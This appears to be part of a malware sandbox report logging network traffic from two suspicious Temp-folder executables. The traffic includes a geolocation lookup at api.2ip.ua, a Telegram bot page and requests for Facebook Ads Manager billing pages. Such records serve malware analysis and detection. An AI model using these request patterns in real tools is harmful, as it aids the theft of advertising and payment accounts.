2023-05-28 08:43:30 UTC	1284	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 28 May 2023 08:43:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12469 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-05-28 08:43:30 UTC	1284	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6c 6f 6f 6b 69 6e 67 5f 67 6c 61 73 73 62 6f 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @looking_glassbot</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){win

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49708	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:42:43 UTC	285	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:42:43 UTC	285	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:42:43 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:42:43 UTC	285	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49892	157.240.17.17	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:31 UTC	1296	OUT	GET /ads/manager/account_settings/account_billing/ HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 Host: adsmanager.facebook.com User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document
2023-05-28 08:43:32 UTC	1297	IN	HTTP/1.1 302 Found Vary: Accept-Encoding Location: https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F x-fb-rlafr: 0 content-security-policy-report-only: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;connect-src adsmanager.facebook.com adsmanager-graph.facebook.com adsmanager.secure.facebook.com blob: 'self' .fbcdn.net rupload.facebook.com wss://gateway.facebook.com wss://edge-chat.facebook.com wss://edge-chat-latest.facebook.com https://edge-chat.facebook.com/mqtt/pull https://edge-chat-latest.facebook.com/mqtt/pull .facebook.com/rsrc.php/;font-src 'self' .facebook.com .fbcdn.net;img-src data: blob: 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;media-src 'self' .facebook.com .fbcdn.net .fbsbx.com .cdninstagram.com;frame-src facebook.com .facebook.com fbwifigateway.net .fbwifigateway.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com cdninstagram.com .cdninstagram.com oculuscdn.com .oculuscdn.com www.meta.com *.www.meta.com ms-excel:;manifest-src data: blob: 'self';report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;
2023-05-28 08:43:32 UTC	1298	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 3b 73 63 72 69 70 74 2d 73 72 63 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 3b 73 74 79 6c 65 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: content-security-policy: default-src data: blob: 'self' .fbcdn.net .facebook.com;script-src blob: data: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net;style-src data: blob: 'self' 'unsafe-inline' 'unsafe-eval' .facebook.com .fbcdn.net
2023-05-28 08:43:32 UTC	1300	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 0d 0a Data Ascii: Connection: closeContent-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49894	157.240.9.35	443	C:\Users\user\AppData\Local\Temp\aafg31.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:32 UTC	1300	OUT	GET /login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F HTTP/1.1 Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en,q=0.9;q=0.8,ja;q=0.7,af;q=0.6,am;q=0.5,sq;q=0.4,ar;q=0.3,an;q=0.2,hy;q=0.1,ast;q=0.1,az;q=0.1,bn;q=0.1,eu;q=0.1 User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.62 sec-ch-ua: "Microsoft Edge";v="111", "Not(A:Brand";v="8", "Chromium";v="111" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" sec-ch-prefers-color-scheme: light Upgrade-Insecure-Requests: 1 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Host: www.facebook.com
2023-05-28 08:43:32 UTC	1301	IN	HTTP/1.1 200 OK Vary: Accept-Encoding report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]} x-fb-rlafr: 0 content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net 'unsafe-inline' blob: data: 'self' 'unsafe-eval';style-src .fbcdn.net data: .facebook.com 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net wss://.facebook.com:* wss://.fbcdn.net attachment.fbsbx.com blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ .fbsbx.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net blob: android-webview-video-poster: .oculuscdn.com;media-src .cdninstagram.com blob: .fbcdn.net .fbsbx.com www.facebook.com .facebook.com data:;frame-src .facebook.com .fbsbx.com fbsbx.com data: .fbcdn.net;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0; document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=() cross-origin-opener-policy: unsafe-none Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 X-Frame-Options: DENY origin-agent-cluster: ?0 Strict-Transport-Security: max-age=15552000; preload Content-Type: text/html; charset="utf-8" X-FB-Debug: p7ZpyWmk1j0SAVhAqFTBTdvWIMMZWb3wru7yGT0dAx/b8QuuHDzfsXyCMZkSgslDnEHGDQH/JpX7m6DLuzk45g==
2023-05-28 08:43:32 UTC	1303	IN	Data Raw: 44 61 74 65 3a 20 53 75 6e 2c 20 32 38 20 4d 61 79 20 32 30 32 33 20 30 38 3a 34 33 3a 33 32 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: Date: Sun, 28 May 2023 08:43:32 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400Connection: close
2023-05-28 08:43:32 UTC	1303	IN	Data Raw: 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 0d 0a Data Ascii: e<!DOCTYPE html
2023-05-28 08:43:32 UTC	1303	IN	Data Raw: 65 36 66 0d 0a 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 Data Ascii: e6f><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="su6L2Zt4">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requ
2023-05-28 08:43:32 UTC	1305	IN	Data Raw: 20 63 6f 6e 74 65 6e 74 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 Data Ascii: content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonic
2023-05-28 08:43:32 UTC	1306	IN	Data Raw: 73 68 3d 22 78 6a 31 45 72 6d 36 22 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 73 75 36 4c 32 5a 74 34 22 3e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 48 61 73 74 65 53 75 70 70 6f 72 74 44 61 74 61 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 28 7b 22 63 6c 70 44 61 74 61 22 3a 7b 22 31 38 31 34 38 35 32 22 3a 7b 22 72 22 3a 31 7d 2c 22 31 38 33 38 31 34 32 22 3a 7b 22 72 22 3a 31 2c 22 73 22 3a 31 7d 2c 22 31 38 34 38 38 31 35 22 3a 7b 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 36 37 36 38 33 37 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 4e 38 77 42 5a 41 Data Ascii: sh="xj1Erm6" nonce="su6L2Zt4"></script><script nonce="su6L2Zt4">requireLazy(["HasteSupportData"],function(m){m.handle({"clpData":{"1814852":{"r":1},"1838142":{"r":1,"s":1},"1848815":{"r":10000,"s":1}},"gkxData":{"676837":{"result":false,"hash":"AT4N8wBZA
2023-05-28 08:43:32 UTC	1307	IN	Data Raw: 63 38 38 36 0d 0a 53 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 54 69 6d 65 53 6c 69 63 65 2c 53 65 72 76 65 72 4a 53 29 7b 28 6e 65 77 20 53 65 72 76 65 72 4a 53 28 29 29 2e 68 61 6e 64 6c 65 28 7b 22 64 65 66 69 6e 65 22 3a 5b 5b 22 55 52 4c 46 72 61 67 6d 65 6e 74 50 72 65 6c 75 64 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 68 61 73 68 74 61 67 52 65 64 69 72 65 63 74 22 3a 74 72 75 65 2c 22 66 72 61 67 42 6c 61 63 6b 6c 69 73 74 22 3a 5b 22 6e 6f 6e 63 65 22 2c 22 61 63 63 65 73 73 5f 74 6f 6b 65 6e 22 2c 22 6f 61 75 74 68 5f 74 6f 6b 65 6e 22 2c 22 78 73 22 2c 22 63 68 65 63 6b 70 6f 69 6e 74 5f 64 61 74 61 22 2c 22 63 6f 64 65 22 5d 7d 2c 31 33 37 5d 2c 5b 22 43 6f 6d 65 74 50 65 72 73 69 73 74 51 75 65 72 79 50 61 72 61 6d 73 22 2c 5b 5d 2c 7b 22 72 65 6c Data Ascii: c886S"],function(TimeSlice,ServerJS){(new ServerJS()).handle({"define":[["URLFragmentPreludeConfig",[],{"hashtagRedirect":true,"fragBlacklist":["nonce","access_token","oauth_token","xs","checkpoint_data","code"]},137],["CometPersistQueryParams",[],{"rel
2023-05-28 08:43:32 UTC	1308	IN	Data Raw: 63 65 62 6f 6f 6b 64 6f 74 63 6f 6d 22 3a 74 72 75 65 2c 22 6d 65 73 73 65 6e 67 65 72 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 77 6f 72 6b 70 6c 61 63 65 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 69 6e 73 74 61 67 72 61 6d 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 2c 22 77 6f 72 6b 64 6f 74 6d 65 74 61 64 6f 74 63 6f 6d 22 3a 66 61 6c 73 65 7d 2c 38 32 37 5d 2c 5b 22 43 75 72 72 65 6e 74 55 73 65 72 49 6e 69 74 69 61 6c 44 61 74 61 22 2c 5b 5d 2c 7b 22 41 43 43 4f 55 4e 54 5f 49 44 22 3a 22 30 22 2c 22 55 53 45 52 5f 49 44 22 3a 22 30 22 2c 22 4e 41 4d 45 22 3a 22 22 2c 22 53 48 4f 52 54 5f 4e 41 4d 45 22 3a 6e 75 6c 6c 2c 22 49 53 5f 42 55 53 49 4e 45 53 53 5f 50 45 52 53 4f 4e 5f 41 43 43 4f 55 4e 54 22 3a 66 61 6c 73 65 2c 22 48 41 53 5f 53 45 43 Data Ascii: cebookdotcom":true,"messengerdotcom":false,"workplacedotcom":false,"instagramdotcom":false,"workdotmetadotcom":false},827],["CurrentUserInitialData",[],{"ACCOUNT_ID":"0","USER_ID":"0","NAME":"","SHORT_NAME":null,"IS_BUSINESS_PERSON_ACCOUNT":false,"HAS_SEC
2023-05-28 08:43:32 UTC	1310	IN	Data Raw: 30 2e 31 36 36 31 2e 36 32 22 2c 22 62 72 6f 77 73 65 72 4d 69 6e 6f 72 56 65 72 73 69 6f 6e 22 3a 30 2c 22 62 72 6f 77 73 65 72 4e 61 6d 65 22 3a 22 45 64 67 65 20 28 43 68 72 6f 6d 69 75 6d 20 42 61 73 65 64 29 22 2c 22 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 22 3a 31 31 31 2c 22 64 65 76 69 63 65 4e 61 6d 65 22 3a 22 55 6e 6b 6e 6f 77 6e 22 2c 22 65 6e 67 69 6e 65 4e 61 6d 65 22 3a 22 57 65 62 4b 69 74 22 2c 22 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 22 3a 22 35 33 37 2e 33 36 22 2c 22 70 6c 61 74 66 6f 72 6d 41 72 63 68 69 74 65 63 74 75 72 65 22 3a 22 36 34 22 2c 22 70 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 22 2c 22 70 6c 61 74 66 6f 72 6d 56 65 72 73 69 6f 6e 22 3a 22 31 30 22 2c 22 70 6c 61 74 66 6f 72 6d 46 75 6c 6c 56 65 Data Ascii: 0.1661.62","browserMinorVersion":0,"browserName":"Edge (Chromium Based)","browserVersion":111,"deviceName":"Unknown","engineName":"WebKit","engineVersion":"537.36","platformArchitecture":"64","platformName":"Windows","platformVersion":"10","platformFullVe
2023-05-28 08:43:32 UTC	1311	IN	Data Raw: 4f 4c 5f 46 45 45 44 5f 43 48 45 43 4b 5f 46 4f 52 5f 52 45 50 4c 41 43 45 5f 53 43 48 45 44 55 4c 45 22 2c 22 41 44 53 5f 45 50 44 5f 49 4d 50 41 43 54 45 44 5f 41 44 56 45 52 54 49 53 45 52 5f 4d 49 47 52 41 54 45 5f 58 43 4f 4e 54 52 4f 4c 4c 45 52 22 2c 22 52 45 43 52 55 49 54 49 4e 47 5f 43 41 4e 44 49 44 41 54 45 5f 50 4f 52 54 41 4c 5f 41 43 43 4f 55 4e 54 5f 44 45 4c 45 54 49 4f 4e 5f 43 41 52 44 22 2c 22 42 49 5a 5f 49 4e 42 4f 58 5f 50 4f 50 5f 55 50 5f 54 49 50 5f 4e 41 56 49 47 41 54 49 4f 4e 5f 42 55 47 5f 46 49 58 22 2c 22 53 52 54 5f 52 45 56 49 45 57 5f 44 49 53 41 42 4c 45 5f 46 45 4c 4c 4f 57 53 48 49 50 5f 52 45 56 49 45 57 22 2c 22 45 4f 5f 53 54 4f 52 45 5f 48 4f 4d 45 5f 50 41 47 45 5f 43 4f 56 49 44 31 39 5f 42 41 4e 4e 45 52 22 2c Data Ascii: OL_FEED_CHECK_FOR_REPLACE_SCHEDULE","ADS_EPD_IMPACTED_ADVERTISER_MIGRATE_XCONTROLLER","RECRUITING_CANDIDATE_PORTAL_ACCOUNT_DELETION_CARD","BIZ_INBOX_POP_UP_TIP_NAVIGATION_BUG_FIX","SRT_REVIEW_DISABLE_FELLOWSHIP_REVIEW","EO_STORE_HOME_PAGE_COVID19_BANNER",
2023-05-28 08:43:32 UTC	1313	IN	Data Raw: 4c 6f 67 67 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 61 70 70 49 64 22 3a 32 35 36 32 38 31 30 34 30 35 35 38 2c 22 65 78 74 72 61 22 3a 5b 5d 2c 22 72 65 70 6f 72 74 49 6e 74 65 72 76 61 6c 22 3a 35 30 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 22 3a 6e 75 6c 6c 2c 22 73 61 6d 70 6c 65 57 65 69 67 68 74 4b 65 79 22 3a 22 5f 5f 6a 73 73 65 73 77 22 2c 22 70 72 6f 6a 65 63 74 42 6c 6f 63 6b 6c 69 73 74 22 3a 5b 5d 7d 2c 32 37 37 36 5d 2c 5b 22 44 61 74 61 53 74 6f 72 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 65 78 70 61 6e 64 6f 4b 65 79 22 3a 22 5f 5f 46 42 5f 53 54 4f 52 45 22 2c 22 75 73 65 45 78 70 61 6e 64 6f 22 3a 74 72 75 65 7d 2c 32 39 31 35 5d 2c 5b 22 43 6f 6f 6b 69 65 43 6f 72 65 4c 6f 67 67 69 6e 67 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 Data Ascii: LoggingConfig",[],{"appId":256281040558,"extra":[],"reportInterval":50,"sampleWeight":null,"sampleWeightKey":"__jssesw","projectBlocklist":[]},2776],["DataStoreConfig",[],{"expandoKey":"__FB_STORE","useExpando":true},2915],["CookieCoreLoggingConfig",[],{"
2023-05-28 08:43:32 UTC	1314	IN	Data Raw: 2c 5b 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 49 46 72 61 6d 65 43 6f 6e 66 69 67 22 2c 5b 5d 2c 7b 22 63 6f 6e 73 65 6e 74 5f 70 61 72 61 6d 22 3a 22 46 51 41 53 45 68 49 53 41 41 3d 3d 2e 41 52 5a 6a 65 65 62 58 39 6e 6b 62 4a 56 30 71 6d 6e 76 45 67 50 41 30 33 37 47 7a 48 70 71 7a 66 46 48 36 4f 67 57 6e 6b 46 5a 66 6f 33 6e 55 22 2c 22 61 6c 6c 6f 77 6c 69 73 74 65 64 5f 69 66 72 61 6d 65 73 22 3a 5b 5d 7d 2c 35 35 34 30 5d 2c 5b 22 42 69 67 50 69 70 65 45 78 70 65 72 69 6d 65 6e 74 73 22 2c 5b 5d 2c 7b 22 6c 69 6e 6b 5f 69 6d 61 67 65 73 5f 74 6f 5f 70 61 67 65 6c 65 74 73 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 5f 62 69 67 70 69 70 65 5f 70 6c 75 67 69 6e 73 22 3a 66 61 6c 73 65 7d 2c 39 30 37 5d 2c 5b 22 49 6e 74 6c 56 61 72 69 61 74 69 6f Data Ascii: ,["CookieConsentIFrameConfig",[],{"consent_param":"FQASEhISAA==.ARZjeebX9nkbJV0qmnvEgPA037GzHpqzfFH6OgWnkFZfo3nU","allowlisted_iframes":[]},5540],["BigPipeExperiments",[],{"link_images_to_pagelets":false,"enable_bigpipe_plugins":false},907],["IntlVariatio
2023-05-28 08:43:32 UTC	1316	IN	Data Raw: 6f 67 67 6c 65 5c 2f 6e 75 78 5c 2f 22 3a 31 2c 22 5c 2f 7a 65 72 6f 5c 2f 74 6f 67 67 6c 65 5c 2f 73 65 74 74 69 6e 67 73 5c 2f 22 3a 31 2c 22 5c 2f 66 75 70 5c 2f 69 6e 74 65 72 73 74 69 74 69 61 6c 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 61 6e 64 69 6e 67 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 6c 6f 67 69 6e 5c 2f 22 3a 31 2c 22 5c 2f 77 6f 72 6b 5c 2f 65 6d 61 69 6c 5c 2f 22 3a 31 2c 22 5c 2f 61 69 2e 70 68 70 22 3a 31 2c 22 5c 2f 6a 73 5f 64 69 61 6c 6f 67 5f 72 65 73 6f 75 72 63 65 73 5c 2f 64 69 61 6c 6f 67 5f 64 65 73 63 72 69 70 74 69 6f 6e 73 5f 61 6e 64 72 6f 69 64 2e 6a 73 6f 6e 22 3a 30 2c 22 5c 2f 63 6f 6e 6e 65 63 74 5c 2f 6a 73 64 69 61 6c 6f 67 5c 2f 4d 50 6c 61 74 66 6f 72 6d 41 70 70 49 6e 76 69 74 65 73 4a 53 44 69 61 6c 6f 67 Data Ascii: oggle\/nux\/":1,"\/zero\/toggle\/settings\/":1,"\/fup\/interstitial\/":1,"\/work\/landing":1,"\/work\/login\/":1,"\/work\/email\/":1,"\/ai.php":1,"\/js_dialog_resources\/dialog_descriptions_android.json":0,"\/connect\/jsdialog\/MPlatformAppInvitesJSDialog
2023-05-28 08:43:32 UTC	1317	IN	Data Raw: 65 65 6d 69 75 6d 5c 2f 7a 65 72 6f 5f 66 75 70 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 70 6f 6c 69 63 79 5c 2f 22 3a 31 2c 22 5c 2f 70 72 69 76 61 63 79 5c 2f 63 65 6e 74 65 72 5c 2f 22 3a 31 2c 22 5c 2f 64 61 74 61 5c 2f 6d 61 6e 69 66 65 73 74 5c 2f 22 3a 31 2c 22 5c 2f 34 6f 68 34 2e 70 68 70 22 3a 31 2c 22 5c 2f 61 75 74 6f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 62 69 72 74 68 64 61 79 5f 68 65 6c 70 2e 70 68 70 22 3a 31 2c 22 5c 2f 63 68 65 63 6b 70 6f 69 6e 74 5c 2f 22 3a 31 2c 22 5c 2f 63 6f 6e 74 61 63 74 2d 69 6d 70 6f 72 74 65 72 5c 2f 22 3a 31 2c 22 5c 2f 63 72 2e 70 68 70 22 3a 31 2c 22 5c 2f 6c 65 67 61 6c 5c 2f 74 65 72 6d 73 5c 2f 22 3a 31 2c 22 5c 2f 6c 6f 67 69 6e 2e 70 68 70 22 3a 31 2c 22 5c 2f 6c 6f 67 69 6e 5c Data Ascii: 